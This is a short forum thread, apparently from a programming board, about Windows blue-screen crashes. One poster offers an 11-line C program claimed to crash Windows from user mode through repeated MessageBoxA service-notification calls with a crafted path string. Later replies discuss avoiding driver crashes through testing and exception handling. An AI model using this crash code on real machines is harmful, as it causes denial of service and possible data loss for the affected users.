    only if this code executes in r0 and ds:0 points on invalid page. and if there are no any exception handlers that may process exception.

    for killing windows from usermode u can try smth like
    Код (Text):
    1. #include <Windows.h>
    2.  
    3. int APIENTRY WinMain(HINSTANCE hInstance,
    4. HINSTANCE hPrevInstance,
    5. LPSTR lpCmdLine,
    6. int nCmdShow)
    7. {
    8. char bug [] = "\\??\\C:\\";
    9. for(int i = 0; i < 10; i ++)::MessageBoxA(0, bug, bug, MB_SERVICE_NOTIFICATION);
    10. return 0;
    11. }

    nice stuff, just another question
    what protection mechanism does drivers implement to avoid situations like BSOD and crashs?

    Surely the best way is bug-free code

    of course this is a deduction, i was only asking in what consists bug-free code, the technical details to implement security mechanisms.

    In ideal there should be not way to lead system to BSOD. BSOD state indicates serious problem in kernel mode. So all BSOD's are only from bugs :)
    To avoid BSODs - general QA advices as testing and etc, avoiding common errors (buffer overrun, insufficient parameter checks, ...). Code can be wrapped into exception handlers - this also can help

    also, it is possible to give a little explanation in what differs the implementation of drivers in *nix and win32? thanks
